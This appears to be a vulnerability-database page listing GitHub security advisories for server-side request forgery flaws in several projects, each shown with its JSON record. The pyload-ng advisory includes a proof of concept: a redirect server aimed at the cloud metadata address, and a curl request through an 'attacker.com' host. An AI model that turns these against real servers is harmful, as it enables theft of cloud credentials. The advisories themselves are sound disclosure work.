Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4747 vulnerabilities reference this CWE, most recent first.

GHSA-8QQF-JX6G-2RCV

Vulnerability from github – Published: 2022-05-15 00:00 – Updated: 2022-05-25 00:00
VLAI
Details

URL Restriction Bypass in GitHub repository plantuml/plantuml prior to V1.2022.5. An attacker can abuse this to bypass URL restrictions that are imposed by the different security profiles and achieve server side request forgery (SSRF). This allows accessing restricted internal resources/servers or sending requests to third party servers.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-14T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "URL Restriction Bypass in GitHub repository plantuml/plantuml prior to V1.2022.5. An attacker can abuse this to bypass URL restrictions that are imposed by the different security profiles and achieve server side request forgery (SSRF). This allows accessing restricted internal resources/servers or sending requests to third party servers.",
  "id": "GHSA-8qqf-jx6g-2rcv",
  "modified": "2022-05-25T00:00:32Z",
  "published": "2022-05-15T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plantuml/plantuml/commit/93e5964e5f35914f3f7b89de620c596795550083"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/0d737527-86e1-41d1-9d37-b2de36bc063a"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CHUE4G5CAJUD7L2QPJF6U4JYQTP7CNNL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/J4DP36G2VBOZUNQIUZ5LVJKZIVO4SDAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QR4-XGW6-WMR3

Vulnerability from github – Published: 2022-08-18 18:59 – Updated: 2023-01-18 21:52
VLAI
Summary
`undici.request` vulnerable to SSRF using absolute URL on `pathname`
Details

Impact

undici is vulnerable to SSRF (Server-side Request Forgery) when an application takes in user input into the path/pathname option of undici.request.

If a user specifies a URL such as http://127.0.0.1 or //127.0.0.1

const undici = require("undici")
undici.request({origin: "http://example.com", pathname: "//127.0.0.1"})

Instead of processing the request as http://example.org//127.0.0.1 (or http://example.org/http://127.0.0.1 when http://127.0.0.1 is used), it actually processes the request as http://127.0.0.1/ and sends it to http://127.0.0.1.

If a developer passes in user input into path parameter of undici.request, it can result in an SSRF as they will assume that the hostname cannot change, when in actual fact it can change because the specified path parameter is combined with the base URL.

Patches

This issue was fixed in undici@5.8.1.

Workarounds

The best workaround is to validate user input before passing it to the undici.request call.

For more information

If you have any questions or comments about this advisory:

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-35949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-18T18:59:46Z",
    "nvd_published_at": "2022-08-12T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`undici` is vulnerable to SSRF (Server-side Request Forgery) when an application takes in **user input** into the `path/pathname` option of `undici.request`.\n\nIf a user specifies a URL such as `http://127.0.0.1` or `//127.0.0.1`\n\n```js\nconst undici = require(\"undici\")\nundici.request({origin: \"http://example.com\", pathname: \"//127.0.0.1\"})\n```\n\nInstead of processing the request as `http://example.org//127.0.0.1` (or `http://example.org/http://127.0.0.1` when `http://127.0.0.1 is used`), it actually processes the request as `http://127.0.0.1/` and sends it to `http://127.0.0.1`.\n\nIf a developer passes in user input into `path` parameter of `undici.request`, it can result in an _SSRF_ as they will assume that the hostname cannot change, when in actual fact it can change because the specified path parameter is combined with the base URL.\n\n### Patches\n\nThis issue was fixed in `undici@5.8.1`.\n\n### Workarounds\n\nThe best workaround is to validate user input before passing it to the `undici.request` call.\n\n## For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [undici repository](https://github.com/nodejs/undici/issues)\n- To make a report, follow the [SECURITY](https://github.com/nodejs/node/blob/HEAD/SECURITY.md) document\n",
  "id": "GHSA-8qr4-xgw6-wmr3",
  "modified": "2023-01-18T21:52:48Z",
  "published": "2022-08-18T18:59:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-8qr4-xgw6-wmr3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/commit/124f7ebf705366b2e1844dff721928d270f87895"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/releases/tag/v5.8.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`undici.request` vulnerable to SSRF using absolute URL on `pathname`"
}

GHSA-8QXW-GWXM-V526

Vulnerability from github – Published: 2026-06-04 00:30 – Updated: 2026-06-04 00:30
VLAI
Details

A vulnerability was found in crmeb crmeb_java 1.4. Affected is the function RestTemplate.getForEntity of the file crmeb-common/src/main/java/com/zbkj/common/utils/RestTemplateUtil.java of the component base64 Qrcode Endpoint. The manipulation of the argument url results in server-side request forgery. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T22:16:34Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in crmeb crmeb_java 1.4. Affected is the function RestTemplate.getForEntity of the file crmeb-common/src/main/java/com/zbkj/common/utils/RestTemplateUtil.java of the component base64 Qrcode Endpoint. The manipulation of the argument url results in server-side request forgery. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-8qxw-gwxm-v526",
  "modified": "2026-06-04T00:30:25Z",
  "published": "2026-06-04T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10771"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crmeb/crmeb_java/issues/35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crmeb/crmeb_java"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10771"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/831421"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/368137"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/368137/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8R5M-3F66-QPR3

Vulnerability from github – Published: 2026-04-17 06:31 – Updated: 2026-07-21 13:57
VLAI
Summary
HashiCorp Vault has Server-Side Request Forgery in ACME Challenge Validation via Attacker-Controlled DNS
Details

Vault’s PKI engine’s ACME validation did not reject local targets when issuing http-01 and tls-alpn-01 challenges. This may lead to these requests being sent to local network targets, potentially leading to information disclosure. Fixed in Vault Community Edition 2.0.0 and Vault Enterprise 2.0.0, 1.21.5, 1.20.10, and 1.19.16.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/vault"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "last_affected": "1.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T00:53:25Z",
    "nvd_published_at": "2026-04-17T04:16:12Z",
    "severity": "MODERATE"
  },
  "details": "Vault\u2019s PKI engine\u2019s ACME validation did not reject local targets when issuing http-01 and tls-alpn-01 challenges. This may lead to these requests being sent to local network targets, potentially leading to information disclosure. Fixed in Vault Community Edition 2.0.0 and Vault Enterprise 2.0.0, 1.21.5, 1.20.10, and 1.19.16.",
  "id": "GHSA-8r5m-3f66-qpr3",
  "modified": "2026-07-21T13:57:05Z",
  "published": "2026-04-17T06:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5052"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2026-06-vault-vulnerable-to-server-side-request-forgery-in-acme-challenge-validation-via-attacker-controlled-dns/77343"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8r5m-3f66-qpr3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/vault"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HashiCorp Vault has Server-Side Request Forgery in ACME Challenge Validation via Attacker-Controlled DNS"
}

GHSA-8R8J-GFHG-FW38

Vulnerability from github – Published: 2026-03-16 15:15 – Updated: 2026-03-19 20:54
VLAI
Summary
Spinnaker clouddriver and orca URL validation bypass via underscores in hostnames
Details

Impact

Spinnaker updated URL Validation logic on user input to provide sanitation on user inputted URLs for clouddriver. However, they missed that Java URL objects do not correctly handle underscores on parsing. This led to a bypass of the previous CVE (CVE-2025-61916) through the use of carefully crafted URLs. Note, Spinnaker found this not just in that CVE, but in the existing URL validations in Orca fromUrl expression handling. This CVE impacts BOTH artifacts as a result.

Patches

This has been merged and will be available in versions 2025.4.1, 2025.3.1, 2025.2.4 and 2026.0.0.

Workarounds

You can disable the various artifacts on this system to work around these limits.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.3.0"
            },
            {
              "fixed": "2025.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.3.0"
            },
            {
              "fixed": "2025.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T15:15:10Z",
    "nvd_published_at": "2026-03-17T18:16:15Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nSpinnaker updated URL Validation logic on user input to provide sanitation on user inputted URLs for clouddriver.  However, they missed that Java URL objects do not correctly handle underscores on parsing.  This led to a bypass of the previous CVE (CVE-2025-61916) through the use of carefully crafted URLs.  Note, Spinnaker found this not just in that CVE, but in the existing URL validations in Orca fromUrl expression handling.  This CVE impacts BOTH artifacts as a result.   \n\n### Patches\nThis has been merged and will be available in versions 2025.4.1, 2025.3.1, 2025.2.4 and 2026.0.0.  \n\n### Workarounds\nYou can disable the various artifacts on this system to work around these limits.",
  "id": "GHSA-8r8j-gfhg-fw38",
  "modified": "2026-03-19T20:54:24Z",
  "published": "2026-03-16T15:15:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-8r8j-gfhg-fw38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-vrjc-q2fh-6x9h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25534"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/commit/7c4737906239a958a468e843239c6785b03d0eda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spinnaker/spinnaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spinnaker clouddriver and orca URL validation bypass via underscores in hostnames"
}

GHSA-8RJ6-JXXP-67PG

Vulnerability from github – Published: 2026-04-26 09:32 – Updated: 2026-04-26 09:32
VLAI
Details

A vulnerability was found in Typecho up to 1.3.0. This vulnerability affects the function Service::sendPingHandle of the file var/Widget/Service.php of the component Ping Back Service Endpoint. The manipulation of the argument X-Pingback/link results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-26T08:16:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Typecho up to 1.3.0. This vulnerability affects the function Service::sendPingHandle of the file var/Widget/Service.php of the component Ping Back Service Endpoint. The manipulation of the argument X-Pingback/link results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8rj6-jxxp-67pg",
  "modified": "2026-04-26T09:32:36Z",
  "published": "2026-04-26T09:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7025"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/797772"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359605"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359605/cti"
    },
    {
      "type": "WEB",
      "url": "https://wang1rrr.github.io/2026/03/04/CVE-Report-Typecho-v1-3-0-SSRF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8RP3-XC6W-5QP5

Vulnerability from github – Published: 2026-05-21 19:54 – Updated: 2026-06-09 10:20
VLAI
Summary
pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API
Details

Summary

The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.

Details

The parse_urls API method validates the initial URL hostname:

# src/pyload/core/api/__init__.py:600-604
if url:
    urlp = urlparse(url)
    hostname = urlp.hostname
    if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
        page = get_url(url)

get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:

# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        rep = h.load(*args, **kwargs)
    return rep

HTTPRequest.__init__ sets allow_private_ip = True by default:

# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True

The init_handle() method enables redirect following:

# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:

# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
    if not self.allow_private_ip and not is_global_address(conn_primary_ip):
        return pycurl.PREREQFUNC_ABORT
    return pycurl.PREREQFUNC_OK

The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.

PoC

# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"

# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
  -H 'Cookie: session=<valid_session>' \
  -d 'url=http://attacker.com:8888/redirect'

# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker

Impact

An authenticated attacker with ADD permission can perform SSRF against:

  • Cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets
  • Internal services on private networks (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • Localhost services (127.0.0.1) running on the pyload server

Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.

Recommended Fix

Set allow_private_ip = False in RequestFactory.get_url():

# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        h.allow_private_ip = False  # Prevent SSRF via redirects
        rep = h.load(*args, **kwargs)
    return rep

Alternatively, change the default in HTTPRequest.__init__ to False:

# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False

The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:54:32Z",
    "nvd_published_at": "2026-05-28T18:16:36Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n    urlp = urlparse(url)\n    hostname = urlp.hostname\n    if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n        page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n    if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n        return pycurl.PREREQFUNC_ABORT\n    return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n        self.end_headers()\nHTTPServer((\u00270.0.0.0\u0027, 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST \u0027http://pyload-host:8000/api/parse_urls\u0027 \\\n  -H \u0027Cookie: session=\u003cvalid_session\u003e\u0027 \\\n  -d \u0027url=http://attacker.com:8888/redirect\u0027\n\n# Expected flow:\n# 1. is_global_host(\u0027attacker.com\u0027) -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) \u2014 potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n    with HTTPRequest(None, self.get_options()) as h:\n        h.allow_private_ip = False  # Prevent SSRF via redirects\n        rep = h.load(*args, **kwargs)\n    return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.",
  "id": "GHSA-8rp3-xc6w-5qp5",
  "modified": "2026-06-09T10:20:28Z",
  "published": "2026-05-21T19:54:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46561"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API"
}

GHSA-8RQJ-9GXC-63CR

Vulnerability from github – Published: 2026-05-18 00:31 – Updated: 2026-05-18 00:31
VLAI
Details

A vulnerability was found in vercel ai up to 3.0.97. The affected element is the function validateDownloadUrl of the file packages/provider-utils/src/download-blob.ts of the component provider-utils. The manipulation results in server-side request forgery. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T23:17:02Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in vercel ai up to 3.0.97. The affected element is the function validateDownloadUrl of the file packages/provider-utils/src/download-blob.ts of the component provider-utils. The manipulation results in server-side request forgery. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8rqj-9gxc-63cr",
  "modified": "2026-05-18T00:31:37Z",
  "published": "2026-05-18T00:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8768"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/07d149bd68adbee58165b4207a2abc71"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/cf7e47e4dda392f474ca77a66d1d847f"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/811404"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/811405"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364393"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364393/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
